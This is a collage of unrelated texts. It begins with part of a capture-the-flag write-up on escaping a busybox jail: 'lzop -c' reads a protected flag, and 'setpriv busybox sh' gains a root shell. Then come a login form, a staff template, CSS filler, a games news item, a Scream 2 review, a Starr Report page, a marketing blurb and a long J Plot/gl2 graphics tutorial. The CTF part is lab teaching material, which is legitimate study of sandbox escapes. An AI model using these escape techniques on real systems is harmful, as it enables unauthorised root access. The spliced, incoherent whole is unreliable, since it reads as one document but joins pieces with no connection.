lrwxrwxrwx 1 65534 65534 12 May 9 20:49 makemime -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mkdir -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mknod -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mktemp -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mount -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mountpoint -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 mpstat -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 netstat -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 nice -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 pidof -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ping -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ping6 -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 pipe_progress -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 printenv -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ps -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 pwd -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 reformime -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 rm -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 rmdir -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 run-parts -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 setpriv -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 setserial -> /bin/busybox
-r-sr-xr-x 1 1338 1338 19936 Jun 13 12:48 shell
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 sleep -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 stat -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 stty -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 sync -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 tar -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 true -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 umount -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 uname -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 usleep -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 watch -> /bin/busybox
Ooooh, but busybox
has lots of cool commands, like busybox cat
for example!
> /bin/busybox
busybox can not be called for alien reasons.
Awww :( That would have been too easy! Damn those alien reasons!
More poking around, is there something in the environment variables or in the process running on the system?
> printenv
SHLVL=1
PWD=/challenge
> ps
PID USER TIME COMMAND
1 1338 0:00 /bin/shell
5 1338 0:00 ps
Wow, that is one sad machine… :(( Well, well, we are a bit stuck so far…
Okay, let’s get back to the list of binary in /bin
and get ready to read some Busybox documentation. Maybe we will stumble upon a useful but total stranger binary. So, after trying all the obscure binaries I had never heard of, may I present to you, lzop (If I were you, I’d click that link just to look at the retro logo). Anyway, lzop
is a file compressor, similar to gzip
. The list of options in the version bundled in busybox is the following:
lzop [-cfvd123456789CF] [FILE]…
-c Write to standard output -f Force -v Verbose -d Decompress -F Don't store or verify checksum -C Also write checksum of compressed block -1..9 Compression level
Huhu, I like the sound of that -c
option! We should try it:
$ lzop -c README.flag
LZO
0 @ÄCTF{4ll_D474_5h4ll_B3_Fr33}
Oh-it-worked. Neat, huh?
Flag: CTF{4ll_D474_5h4ll_B3_Fr33}
Alternative Ending
Did you notice that pesky ORME.flag
? The previous solution doesn’t work on it:
$ lzop -c ORME.flag
lzop: can't open 'ORME.flag': Permission denied
Messing around with setpriv
, because the man page said it was a good idea:
setpriv - run a program with different Linux privilege settings
(...)
Sets or queries various Linux privilege settings that are inherited across execve(2).
In comparison to su(1) and runuser(1), setpriv(1) neither uses PAM, nor does it prompt for a
password. It is a simple, non-set-user-ID wrapper around execve(2), and can be used to drop
privileges in the same way as setuidgid(8) from daemontools, chpst(8) from runit, or similar
tools shipped by other service managers.
-- man setpriv
This allows us to bypass the limitation on busybox
and run it, yay!
> setpriv busybox
BusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary.
[...]
> setpriv busybox id
uid=0 gid=0 groups=0
Which meaaaaans ! That we can run a root shell !
> setpriv busybox sh
id
uid=0 gid=0 groups=0
Yes! Getting the content of that ORME.flag
is gonna be a piece of cake now:
busybox chmod 444 ORME.flag
busybox cat ORME.flag
CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}
Flag: CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}
Links
- https://busybox.net/downloads/BusyBox.html : official documentation of busybox
- https://gtfobins.github.io/ : a list of vulnerable binaries, which are super useful to escape from sandbox :D


Come share your cooking experience with your friends
Sign in and join us
Email
Validate!
Password
Sign in


Email<EMAIL_ADDRESS>Office Number:
Team Line-up
Manager
Employee Name
ID #:
Engineer
Employee Name
ID #:
Intern
Employee Name
ID #:
Engineer
Employee Name
ID #:
Intern
Employee Name
ID #:


this text is wrapped in
 tags
#styles-applied { color: red; font-style: italic; text-decoration: underline; }
this text is in a p tag
There are many types of fish in the sea. For example, there are red fish, blue fish, one fish, and two fish.
There are many types of fish in the sea. For example, there are red fish, blue fish, one fish, and two fish.
There are many types of fish in the sea. For example, there are red fish, blue fish, one fish, and two fish.


News by Tom Phillips, News Editor Updated on 14 November 2019
Rune 2 publisher Ragnarok has said it was shocked to discover developer Human Head Studios had shut down - and heard the news at the same time as everyone else.
Fallout and Skyrim publisher Bethesda announced yesterday it had acquired the Human Head Studios staff, which would now operate under new company name Roundhouse Studios. After 22 years, the Wisconsin-based entity known as Human Head was shuttered.
This all came a day after Rune 2, Human Head's last game, was published.
"This is shocking news to us," Rune 2 publisher Ragnarok wrote on the game's official forum, "as there are several entities working on Rune 2 - we found out about this news when you did.
"Human Head had a longstanding agreement with Rune 2's publisher, Ragnarok Game, LLC, to provide ongoing support for the game. We are working quickly to resolve any current technical issues while we build the team that will execute the exciting planned future of Rune 2's post-launch content strategy. We appreciate your patience and understanding while we work through any launch issues."
In a statement published to the Human Head Studios blog yesterday, the developer blamed "economic realities" for its closure as an independent studio.
It's unknown what Bethesda will have the Human Head staff working on next, though the studio remained best known for creating Prey, a franchise Bethesda now owns.
Rune 2, meanwhile, is still slated for launch on other PC platforms (it is currently an Epic Game Store exclusive) in 2020.


SCREAM 2
Reviewed by Harvey Karten, Ph.D. Dimension Films Director: Wes Craven Writer: Kevin Williamson Cast: David Arquette, Neve Campbell, Courteney Cox, Sarah Michelle Gellar, Jamie Kennedy, Jerry O'Connell, Jada Pinkett, Liev Schreiber, Duane Martin
There must be something about film school that inspires the liveliest and most articulate class discussion. In one scene of "Scream 2," Wes Craven, who gained his 15+ minutes of fame by having directed the series "Nightmare on Elm Street," has us observing a class of collegians at Windsor College somewhere in the Midwest involved in a heated discussion about the nature of sequels. It seems clear that these young people are caught up in the enthusiasm, not simply trying to influence the professor, who looks on benignly as his students debate whether sequels are always worse than the originals. While the class is divided down the middle, all agree that "Godfather 2" was better than its predecessor and, in the best tradition of one-upmanship, the suggestion that the second part of "The Empire Strikes Back" was better than the original is met by the correct rebuttal that "The Empire Strikes Back" is a trilogy and therefore never had a sequel.
The point of the discussion is also the point of this film: satire. By suggesting that it is almost impossible to one-up forerunners, Wes Craven deliberately disparages himself--and it's not the first time. "Scream 2," targeted to an prime audience of people from ages 18 to 28, is meant primarily as satire, or, Craven's laughing at himself for what he and his colleagues have contributed to slasher movies. Not that "Scream 2" is campy like "The Rocky Horror Show," which is an off-the-wall, perpetual midnight offering featuring an audience themselves dressed in horrific outfits and wildly cheering the mayhem on the screen. "Scream 2" is, rather a film meant to be taken seriously almost as much as it is meant to be a spoof.
The problem with seeing this as satire is that there are genuinely scary moments in this sequel which, following the formula suggested by one of the college students in the class discussion, must have a higher body count, more blood, and yet still feature serial killers who are white, preferably male. In fact, since the body count is so high and since some of the murders are enacted before our eyes in all their horror, the terror is greater than the travesty. "Scream 2" works primarily as a genuine film of fright and panic and only intermittently as burlesque, which is good enough.
Featuring some of the same actors from the original, principally David Arquette, Courtney Cox and Liev Schreiber, the movie opens on a crowd lining up to see a sneak preview of the movie "Stab" which has, essentially, a plot quite similar to that of Craven's "Scream." Many of the kids in the audience don skeletal masks reminiscent of Edvard Munch's painting "Scream" (housed permanently in the Oslo Museum in Norway), which clues us in that one of them will, of course, commit at least one murder during the course of the sneak preview. The jokiest moments of this two-hour work come at the beginning particularly with the jive dialogue engaged in by Phil (Omar Epps) and his date Maureen (Jada Pinkett), the latter wondering why she's even going to the type of film that features almost all lily-white performers. When Phil goes to the john, he runs into something far scarier than anything he might have seen had he stayed the course while Maureen should have stayed home to study as she insisted she would have preferred to do.
While the campus is horrified by the murders of these two fellow students, few seem to feel that they might be next. They continue to party, to engage in fraternity hell weeks, even to stay home alone when others are out having fun at mixers. From the information we are given we realize that quite a few people could have been the perp or perps, particularly Cotton Weary (Liv Schreiber) who had spent a year in jail on the testimony of Sidney Prescott (Neve Campbell) before being cleared of murder and may be seeking revenge against his accuser. The hard-boiled Gale Weathers (Courteney Cox) had written a novel based on the murders a year back and has returned to the scene to report on a new spate of killing which--scripter Kevin Williamson hints--she may be committing herself to pave the way for her next book. A guy named Mickey seems obsessively intent on proving that horror movies may themselves influence real- life behavior, which provides him with a motive, and a local reporter, Debbie Salt (Laurie Metcalf), hides a possible vengeance motif as well.
The movie's scariest scene involve a situation in which several people are wearing masks, particularly one involving a rehearsal for a Greek tragedy featuring the character of Cassandra, played by Sidney, as she is surrounded by a dozen performers whose faces are complete hidden by masks of tragic figures.
Some of the film's comic relief comes from Joel (Duane Martin), who has been accompanying the novelist to film her interview but wants out when he is called on to snap shots of some bloody murder scenes.
When "Scream 2" is not downright hair-raising, it succeeds admirably in one Pirandellian scene, namely, when college students debate the way actors perform in sequels while they are themselves actors in a sequel. If the movie poses a question to ponder for more than twenty minutes after you leave the theater it is the age-old query: do violent movies encourage violence in real life, or do they provide an outlet for feelings of frustration and thereby actually defuse murderous impulses? Rated R. Running Time: 122 minutes. (C) 1997 Harvey Karten
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


rotten > Library > History > Political Scandal > Lewinsky Affair > Starr Report > 8endpage.htm
Conclusion
This Referral is respectfully submitted on the Ninth day of September, 1998.
______________________________
Kenneth W. Starr
Independent Counsel
Pornopolis |
Rotten |
Faces of Death |
Famous Nudes
|


Sigstr
Drive marketing ROI
Sigstr unlocks employee email as an owned channel by providing simple, central control over your company's email signature.
Smart Marketing
Simple management for employee email signatures. Ensure a consistently branded Email Signature for employees and unlock a powerful marketing channel via Sigstr Campaign banners.
Watch Opportunity Multiply
An average employee sends over 10,000 emails annually. Each of those emails will be viewed, on average, 2.5 times. Those views represent a tremendous opportunity for driving brand awareness and engagements.


 The Plot Package is a quick but powerful way to display datasets in 2D or 3D form. If you want to draw your own graphics, you can use the gl2 library for 2D graphics, or OpenGL for 3D.
The easy way to display data in J is with Plot. First, load the Plot Package:
load 'plot'
Hand your data to the plot verb:
plot 3 1 4 1 5 9
and it will give you a graph of your data.
To see what J Plot can do, go to the menu bar in a J session and click down to Studio|Demos|plot. A Plot window will pop up, on whose menu bar pulldowns labeled 2D, 3D, Multi, Styles, and Gallery contain lists of demo plots. Click on one and you will immediately see the plot. When you find an interesting one, you may click Options|View Definition to see the commands that created it.
The Plot Package has two interfaces: lightning-fast (the plot verb) and fast (the pd verb). pd lets you build a custom plot containing multiple datasets and options. The picture described by plot 3 1 4 1 5 9 could have been built with
pd 'reset'
pd 'type line'
pd 3 1 4 1 5 9
pd 'show'
plot and pd make up the Plot Package, which I will refer to simply as Plot.
Plot has a great variety of options which you can find listed in the User Guide. Here I will give enough of an overview to get started. If you need a feature for your plot, there's a good chance it's described in the User Guide. If you need to direct your plot to PostScript or to a control on a form, the User Guide explains that too.
Plot accepts a series of commands, options, and data. Commands are actions taken independent of any data: setting the size of the plot window(s), writing annotation text, and the like. Options, which include things like axis scaling and color selection, control the interpretation of subsequent data, which is added to the plot using whatever options are in effect when the data is encountered. A single plot may contain multiple sets of data with different options.
Plot Type
The most important option is the type of plot: surface or wire to display 3-D data, line to graph 2-D or 3D data, symbol and dot to plot points individually, and a variety of types to produce bar charts, pie charts, error bars, and many others.
Colors
The components of a plot
have different colors which you can specify.
A color is given either as a 3-item list of red,green,blue intensity in
the range 0-255, or as a name taken from J's list in system\packages\color\colortab.ijs. Names of colors are not case-sensitive. The standard colors
for plot are BLUE, RED, GREEN,
PURPLE,
FUCHSIA,
OLIVE,
TEAL,
YELLOW,
MEDIUMBLUE,
AQUA,
BROWN,
and GRAY.
The background of the plot is made up of two parts, the graph background which is the canvas the plot is drawn on, and the frame background which surrounds the graph background, filling out the window. These colors can be set simultaneously with
backcolor color_spec
The default is backcolor 255 255 255 or, equivalently, backcolor WHITE. The components of the background can be set individually with
framebackcolor color_spec
graphbackcolor color_spec
Most plotted data is drawn with the item colors. The data is broken into sets of points, and the item colors are assigned to the sets sequentially. By default the item colors are the standard colors; they can be set by
itemcolor color_spec,color_spec...
The list of item colors can be as long as you want; it recycles as needed.
Certain plot types, such as density, derive the plotted colors from the data. For these plots you use
bandcolor color_spec,color_spec...
to specify the colors used for the bands of data.
Other components have their own colors, set by the following commands whose names are mostly self-explanatory: axiscolor, captioncolor, edgecolor (for edges of filled regions), gridcolor, keycolor (a list, used for legend boxes), rulecolor, symbolcolor (for symbol plots), textcolor, and titlecolor.
Fonts
You can select the font for the different kinds of text drawing. The commands are captionfont, keyfont, labelfont, symbolfont, textfont, and titlefont. An example is
titlefont Arial 18
Postscript Type 1 fonts are also supported.
Titles, Captions, and Labels
The title of the plot is drawn above the plot. You give the title with
title title_text
titlecolor and titlefont apply to the title.
A caption is a character string displayed running parallel to an axis, and can be had with
Ccaption caption_text
(C is replaced by x, y, or z to select the coordinate), where caption_text should be enclosed in double-quotes if it contains spaces. captioncolor and captionfont apply to captions.
Labeling the axes means marking them to indicate coordinate values and is controlled by
labels xon yon [zon]
(default 1 1) to turn labeling on or off. By default the labels are just the numeric values of the coordinates at the tic marks, but you can use
Clabel label1 label2...
to specify the label at each tic. If labeln contains spaces, it should be enclosed in double-quotes. You can specify the coordinates at which labels are to be shown with
Cticpos positions
or you can apply labels at regular intervals with
Ctic label_interval tics_between_labels
which will write a label at intervals of label_interval, and add tics_between_labels unlabeled tics between labeled tics. The plot will be scaled to match the range of your data unless you specify the range of the coordinate with
Crange min max
labelcolor and labelfont apply to labels.
Annotation (Text in the Drawing Area)
Annotation text is given by the text options:
textcolor color
where color is red,green,blue or a name such as RED;
textfont font_name size
to select the font;
text xpos ypos text
textc xpos ypos text
textr xpos ypos text
to draw text at the given position, left-aligned, centered, or right-aligned.
Many other options are on view in the User Guide.
Data; Constructing a Plot with pd
Commands, options, and data are all added to the plot using the monadic pd verb. Character operands to pd are interpreted as commands or options with the format name value where name identifies the command/option, which is set to the (optional) value. Multiple commands/options can be given to pd, either as a list of boxed strings, or as one long string with semicolons used as a separator between command/options.
Numeric operands to pd are data: one or more sets of points, where a point comprises a dependent variable and one or two independent variables Normally data will be a list of boxes, x;y for 2-D data or x;y;z for 3-D data. The last item (y for 2-D, z for 3-D) is the dependent variable whose values correspond to the independent variables given by the previous items. We can distinguish 3 types of plot: 2-D line plots, 3-D line plots, and surface plots.
2-D Line Plots
The dependent variable y may be a list or an array. Each 1-cell of y gives a set of points, and each set is plotted with a different item color. x may have the same shape as y, or x may be a list with the shape of a 1-cell of y in which case it is repeated for each 1-cell of y .
3-D Line and Point Plots
The dependent variable z may be a list or an array. Each 1-cell of z gives a set of points, and each set is plotted with a different item color. x and y must each be a list, with the shape of a 1-cell of z, which is repeated for each 1-cell of z.
surface and wire Plots (3-D)
The dependent variable z is an array. x may have the same shape as z, or be a list with one atom for each row of z: the atom is repeated across the row. y may have the same shape as z, or be a list with one atom for each column of z: the atom is repeated down the column.
Unboxed operands to pd
The boxing can be omitted from a data operand to pd, in which case it gives values of the dependent variable (y for 2-D, z for 3-D) and the independent variables are taken to be integers starting at 0. Or, the operand can be a complex list in which case the real parts are x and the imaginary parts are y .
Control Commands to pd: Starting and Ending a Plot
The first command in a plot should be pd 'reset'. After you have sent all your data through pd, your last command should be pd 'show' which causes the plot to be displayed.
Quick Plots Using plot
If your plot does not require multiple datasets with different options, you can display the whole thing with one use of the plot verb:
commands_and_options plot data
plot starts a new plot, sends the commands_and_options through pd, sends the data through pd, and issues pd 'show' to display the result. The axes will be scaled to fit your data. If data is made up of a rank-2 array of boxes each of which contains a list of boxes, each box gives the data for a subplot: the plot window is divided into tiles based on the shape of data, and each atom of data is opened revealing a list of x;y[;z] boxes containing data to be plotted in corresponding tile. An example of subplots is
plot 2 1 $ (<3 1 4 1 5 9) ,&< (<2 7 1 8 2 8)
Idioms for Generating Plot Operands: the steps verb
For a simple 2-D plot of the value of a function f evaluated at the values x, use
plot x ; f x
If you just want evenly-spaced values of x, you can use the steps verb:
steps initial_value final_value number_of_intervals
A plot of one period of the sine function is given by
plot (steps 0 2p1 100) ; sin steps 0 2p1 100
(2p1 is 2π). To plot two functions at the same x values, make each function's values a row of an array:
x =. steps 0 2p1 100
plot x ; (sin x) ,: cos x
Using a fork, you can express this plot as
plot (; sin,:cos) steps 0 2p1 100
For 3-D plot of a function f evaluated on a grid of x and y values, use
plot x ; y ; x f"0/ y
f"0/ is described in the "Make a Table" section of the chapter "Odds and Ends". x f"0/ y evaluates f at each combination of x and y . To plot cos(r)/(1+r) we would use
x =. y =. steps _4 4 100
f =. 4 : '(cos r) % 1 + r =. x +&:*: y'
plot x ; y ; x f"0/ y
Using a fork, this plot is given succinctly by
plot x ([ ; ] ; f"0/) y
The Simplest Function Plotting: Let Plot Evaluate Your Function
The simplest way to plot a function is to give Plot the description of the function and the domain, and let Plot decide where to evaluate the function. You do this by giving the function instead of the data as the dependent variable in the right argument to plot or pd . The plot may be 2-D or 3-D. An example is
plot 0 10 ; 'sin'
The character string instead of data tells Plot to evaluate the sin function over the interval [0,10].
The independent variable(s) are given either as intervals or as lists of points. An interval is indicated by 2 or 3 numbers, specifying start value,end value,number of steps. A list of points is indicated by a boxed argument containing the points, or by an unboxed list of more than 3 points. Multiple intervals or point-lists are allowed.
If the number of steps is omitted or 0, Plot will pick an appropriate number of points to use. It does so by repeatedly subdividing the interval until the curve is smooth or it decides that the curve is discontinous, in which case it plots continuous sections separately.
The subdivision is controlled by the plot commands Cfuncres and singtoler. Cfuncres (C is x or y) gives the subdivision resolution: an interval smaller than 1/Cfuncres of the screen will not be split. Cfuncres defaults to twice the pixel resolution of the plot. singtoler is used when the display has singularities, and controls how much of the heading-off-to-infinity tail of the curve will be shown at the singularity. You can experiment to find a good value for singtoler for your application; the default is 10 and higher numbers cause more of the tail to be displayed.
The function(s) to be displayed can be given as a list of gerunds, one for each verb to be drawn, or as a string where the verb-specifiers are separated by the ` character (use doubled ` as an escape if your verb contains a ` character). Each verb-specifier can be in either tacit or explicit form: if it contains the word y.or y it is assumed to describe an explicit verb, otherwise a tacit one.
The verbs are invoked with lists as arguments and should be able to return a list of results. If you use pd, note that the verbs are not executed until pd 'show' is processed, so the values of any public variables that are referred to by an explicit verb will use the values in effect when the pd 'show' is executed. Public variables referred to in a tacit verb are frozen (using f.) when the pd for the function is issued.
Examples of function plots:
plot _10 10 ; '%' NB. reciprocal: has a discontinuity
plot _10 10 ; 'sin`cos' NB. two curves
plot 0.001 0.1 ; 'sin % y' NB. sin(1/x), a busy function
The 3-D plot shown above can be created with
f =: 4 : '(cos r) % 1 + r =. x +&:*: y'
plot _4 4 100 ; _4 4 100 ; 'f'
Assembling a Multipart Plot with pd
A plot of a function with discontinuities, or multiple functions with different domains, can be assembled using pd. If we want to plot the function 1/x (the J primitive %) by hand rather than using function plotting as shown above, we need to plot the negative and positive sides individually:
pd 'reset'
pd 'type line'
pd 'color 0 0 255'
pd (^ steps _2 2 50) ; % (^ steps _2 2 50)
pd (- ^ steps _2 2 50) ; % (- ^ steps _2 2 50)
pd 'show'
Here we plotted the positive x values, then the negative ones. We set color to override Plot's default behavior of giving each dataset a different color. The exponential applied to the x values keeps the points spaced fairly uniformly along the curve.
Examples of Plots with Multiple Sets of Points
A 2-D plot with multiple sets of points was given above by
plot _10 10 ; 'sin`cos' NB. two curves
A 3-D line plot with 3 sets of lines:
x =. i. 5
y =. *: x
z =. 0 10 20 + 1 , x ,: *: x
'line' plot x ; y ; z
Although we often think of one variable as dependent and the others independent, this is our interpretation, not a restriction in Plot. y does not have to be a function of x: y may just represent data measurements at values of x, or x and y can both be parametric functions of something else. For example, a lovely Lissajous figure can be plotted with
plot (sin 3 * steps 0 2p1 100) ; (cos steps 0 2p1 100)
pd 'show' creates a 480x360-pixel window and draws your plot into it. You have several other options for output, using one of the following commands in place of pd 'show':
pd 'isi [width height]' NB. items in [] are optional
creates a window of size width and height, and displays the plot in it. For normal J sessions, pd 'show' and pd 'isi' are equivalent.
pd 'eps [filename width height]'
creates a plot in EPS format. filename
defaults to ~temp\plot.eps, and
the default size is 480x360.
pd 'pdf [filename width height]'
creates a plot in PDF format. filename
defaults to ~temp\plot.pdf, and
the default size is 480x360. For
Jconsole sessions, pd 'show' produces
pd 'pdf', since
there are no windows in a Jconsole session.
If
you have created your plot in a window using plot, pd 'show', or pd 'isi', you can treat the bitmap of the plot as pixel data:
pd 'print'
sends the bitmap to the printer;
pd 'clip'
copies the bitmap to the clipboard;
pd 'save type filename'
saves the bitmap in filename encoded according to type, which may be bmp, wmf, jpg, pgm, png, ppm, or tga. All but bmp and wmf require the image3 addon to J.
The gl2 Library is a set of functions for drawing 2D graphics into windows. There are many more functions in this library than can be discussed here: to see the full list, open a J session, press F1 for help, click on 'wd' at the top of the page, then click the link for 'gl2 commands'. It will be worth your time to read through the commands a few times to get an idea about what's available.
To use the gl2 commands you must include them in your program with
load 'gl2'
Because there are so many functions, they are defined in a locale of their own, called jgl2 . To have access to the functions in jgl2, you should include the line
coinsert 'jgl2'
at the top of each file using the gl2 commands. Alternatively, you could add jgl2 to the name of each gl2 function you use, but it is easier to use the coinsert.
 Create drawing surface
glrgb 255 0 0 NB. set the color
glpen 2, PS_DASH NB. pen width 2, dashed line
gllines 0 1000 1000 0 NB. draw using current pen
glpaint'' NB. display the drawing
Creating an isigraph Graphics Control
Graphics are drawn into an object called an isigraph control (the isi comes from Iverson Software, Inc., the original name of Jsoftware, Inc.) which resides in a window.
You can choose from several ways to create an isigraph control, depending on what features you need. The quickest way to get one is with
load 'graph'
gopen ''
which will leave you ready for drawing with an isigraph control 150 pixels on a side. If you want to specify your own options for the parent window or isigraph control, you can bypass the graph package, using instead a line like
wd 'pc x closeok;xywh 0 0 200 200;cc g isigraph;pas 0
0;pshow'
which will also leave you ready for drawing. In this example, the parent window was named x and the isigraph control was named g with a size of 200x200 pixels. The pas 0 0 caused the parent to fit tightly around the isigraph.
If you simply want a standalone window to display graphics in, either of the preceding methods is adequate. If you want your graphics to be part of a form which can contain other graphics controls as well as text, sliders, selection boxes, and the like, you will want to learn how to use the Form Editor, either by reading the User Guide or by running the Labs. Use the Form Editor to create a form, and include a child control of type isigraph Your gl2 commands will be drawn into this child control.
All isigraph controls have the same capabilities, no matter what method was used to create them.
Selecting an isigraph Control for Output
If you have simply created a single isigraph control for use as a display, it was automatically selected for output when created and you do not need to do anything more than write to it.
If you have a more complex environment, where there are perhaps several isigraph controls in a form and many forms open at once, you need to select the correct isigraph control before you write to it. gl2 commands operate on the currently-selected isigraph control.
First, you select the parent window, using
wd 'psel windowname'
and then select the isigraph you want to draw into, using
glsel 'isigraphname'
Now you are ready to push pixels.
The glxxx verbs take integer arguments that represent pixel coordinates in the isigraph control. The top-left pixel has coordinates (0,0), and the bottom-right pixel has coordinates (xsize-1,ysize-1).
You will issue a sequence of glxxx verbs. (The graph library defines verbs to interface to the glxxx verbs, but I recommend you avoid them in the interests of performance) The pixel-writing verbs, such as glrect and gllines, make use of the current pen (the linestyle used to draw the outline) and the current brush (the fill style used for the interior). The pen and brush commands, and some of the other glxxx verbs, use the current color, a list of RGB (red-green-blue) values from 0 to 255.
As an example, to draw a 2-pixel-wide dashed red line from the top-left corner to the bottom-right corner of the selected isigraph, use
glrgb 255 0 0 NB. set the color
glpen 2,PS_DASH NB. use that color for the pen
gllines 0 0 150 150 NB. lines use current pen
Text can be mixed with graphics. First, set the font:
glfont name size styles
where styles can be any of italic, bold, underline, oem, default, and anglexxx (where xxx is the angle of the font, in tenths of a degree clockwise). size is in points. Example:
glfont "Times New Roman" 12 italic
Next, draw the background rectangle if any. Text itself is transparent, in other words the background shows though the text. If you want a solid background for the text, you must draw one. Find out how big the text will be in pixels:
extent =. glqextent textstring
then create a brush with the background color, and draw the background rectangle:
glbrush '' [ glrgb red green blue
glrect xcoord,ycoord,extent
Next, set the color for the text itself:
gltextcolor '' [ glrgb red green blue
Finally, set the text position in pixels and draw the text.
gltextxy xcoord,ycoord
gltext text
where text is the character string to draw.
The settings of the text attributes are preserved, so only the changed values need to be set for subsequent gltext calls.
The glxxx verbs write pixels on the drawing surface, which is a memory area that has the size of your isigraph control. Changes to the drawing surface are not immediately visible, lest the user be distracted by continual painting and an incomplete picture. When you have executed enough glxxx commands to have a picture worth seeing, you issue
glpaint ''
which copies the drawing surface to the visible screen..
Screen Resizing: The paint Event
If your isigraph control never changes size, what is displayed on the screen will be whatever you put there with your last glpaint command. If, on the other hand, your isigraph can be resized by the user, the display will become invalid whenever the isigraph is resized. When this happens, the system will signal a paint event, and you will have to recreate the display surface. See below for a discussion of event handling.
Supporting a resizable isigraph window has profound effects on the design of your program. You must keep a copy of all the graphics commands needed to regenerate the display, and for most applications you need to keep these commands in a virtual screen space so that they don't suffer unsightly errors in quantization when the screen size changes.
Partial List of glxxx Drawing Commands
i j give the (i,j) coordinates of a point in logical units, where i is the horizontal coordinate and j is the vertical coordinate. x y w h specifies a rectangular region with one corner at (x,y) and the other at (x+w-1,y+h-1).
Initialization
glclear '' clear isigraph
drawing buffer to white and reset default values for graphics state variables:
glfont
system default
glrgb 0 0 0
glpen 1 0
glbrushnull''
gltextxy 0 0
gltextcolor''
glclipreset''
Display Settings That You Will Probably Never Need To Modify
glnodblbuf bool default 0 paints with double buffer to avoid flicker. Set to 1 to paint directly to the screen.
glwindoworg x y
default is 0 0. The x
and y
values are added to subsequent graphics coordinates.
glcursor n sets mouse cursor. Values are defined as IDC_... in gl2.
Setting a Clipping Window for Subsequent Drawing Primitives
glclip x y w h Only pixels inside the given rectangle will be modified by subsequent drawing commands.
glclipreset '' Turn off clip rectangle, allowing all pixels to be overwritten by drawing commands
Setting Colors
glrgb color ; set current color
Settings That Apply to Lines (including Borders of Filled Areas)
glpen i [style] select pen. color is taken from last glrgb command, and the lines are drawn i units wide. style is from the set (ps_solid, ps_dash, ps_dot, ps_dashdot, ps_dashdotdot, ps_null, ps_insideframe)
Drawing Lines
gllines i j i j ... draw connected lines. i j... is 2 or more points. gllines is the verb normally used for line-drawing.
Settings That Apply to Area-Filling Commands
glbrush '' select solid brush in current color, i. e. fill interiors with solid fill in the color of the most recent glrgb.
glbrushnull '' select null brush, i. e. leave interiors unfilled
Drawing Rectangles, Ellipses, and Arcs
glrect x y w h draw rectangle with current pen and current brush
glroundr x y w h rw rh (not java) draw rectangle with rounded corners defined by ellipse with width rw and height rh. Use current pen and brush.
glellipse x y w h draw a filled ellipse in the given rectangle with the current pen and brush
glarc x y w h xa ya xz yz (not wince) draw arc on the ellipse defined by the given rectangle. Arc starts at (xa,ya) and ends at (xz,yz). Start and end points need not lie on the ellipse: they define a line from the center that intersects the ellipse.
Drawing Polygons
glpolygon i j i j ... draw polygon in current pen and brush. The list of (i,j) values are the polygon vertices.. glpolygon is the verb normally used to draw polygons.
Settings That Apply to Text
glfont name size styles sets font for text commands
Drawing Text
gltext text write text using the font specified by the most recent glfont in the color saved by the most recent gltextcolor. Where and how the text is displayed is affected by the gltextalign and gltextxy commands.
gltextcolor '' the color set by the most recent glrgb is saved as the color to be used for text
gltextxy i j position to be used by gltext when gltexalign specifies TA_NOUPDATECP
Bitmap Operations
glpixel i j draw pixel at (i,j) in current color
glpixels x y w h pixeldata write pixels to the given rectangle. pixeldata is an integer per pixel with RGB values
Metafile Operations
glfile filename (only win32) set filename for subsequent glemfopen and glemfplay.
glemfopen '' (only win32) Open the file named in the most recent glfile command. This file will be an enhanced metafile, and subsequent glxxx commands will be written to this file.
glemfclose '' (only win32) Close the file opened by glemfopen ..
glemfplay x y [w h] (only win32) Play the enhanced metafile named in the most recent glfile command. x y gives the top-left corner of the area on which the metafile will be drawn; w h give the size of the rectangle that the metafile will be scaled to fit into, or may be omitted to display the metafile at full size.
isigraph controls produce events, which like all window events result in execution of the sentence
formname_isigraphname_eventname_formlocale_
''
where formlocale is the name of the locale the form was executed in, and the other names identify the form, isigraph, and event type. Before execution of this sentence, the variable sysdata is set with information about the event. The events and their associated sysdata are:
paint Event
